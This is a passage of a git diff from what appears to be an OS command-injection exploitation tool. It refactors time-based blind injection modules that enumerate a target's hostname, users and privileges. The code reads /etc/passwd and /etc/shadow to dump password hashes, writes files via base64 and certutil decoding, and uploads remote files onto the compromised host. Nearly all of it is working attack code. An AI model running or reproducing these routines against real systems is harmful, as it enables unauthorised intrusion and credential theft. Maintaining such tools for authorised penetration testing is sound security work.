enumeration @@ -74,26 +54,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if shell: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_hostname(shell, filename, _) """ Retrieve system information @@ -139,20 +105,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output - if target_os and target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration @@ -164,26 +117,12 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, cu_account = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - cu_account = output - if cu_account: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user(cu_account, filename, _) """ Check if the current user has excessive privileges. @@ -195,26 +134,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user_privs(shell, filename, _) """ System users enumeration @@ -222,17 +147,10 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: @@ -244,235 +162,24 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_users = output - # Windows users enumeration. - if settings.TARGET_OS == "win": - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + _ = True + if output == False: + output = "" + session_handler.store_cmd(url, cmd, output, vuln_parameter) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - if sys_passes == "": - sys_passes = " " - if sys_passes : - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + sys_passes = output + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -550,13 +257,27 @@ def reset(): if menu.options.users: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.passwords: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 6e98e94f6b..b292b45526 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.blind.techniques.time_based import tb_injector @@ -26,208 +27,97 @@ """ The "time-based" injection technique on Blind OS Command Injection. """ - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + _ = False + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.delete_tmp(tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "'" + cmd + "'" - dest_to_write = path + "\\" + filname + # cmd = "if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output + cmd = checks.write_content(content, dest_to_write) + cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" + cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + checks.file_write_status(shell, dest_to_write) """ Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass + cmd, dest_to_upload = checks.check_file_to_upload() + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) + +""" +Read a file from the target host. +""" +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + _ = False + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + _ = True else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: + print(settings.SINGLE_WHITESPACE) + checks.file_read_status(shell, file_to_read, filename) """ Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if menu.options.file_write: + file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False: + settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True @@ -236,8 +126,4 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e37e21d04a..d32dfd9ba6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -407,10 +407,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: settings.LOAD_SESSION = False - _ = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: - _ = True while True: message = "Do you want to ignore stored session and enumerate again? [y/N] > " enumerate_again = common.read_input(message, 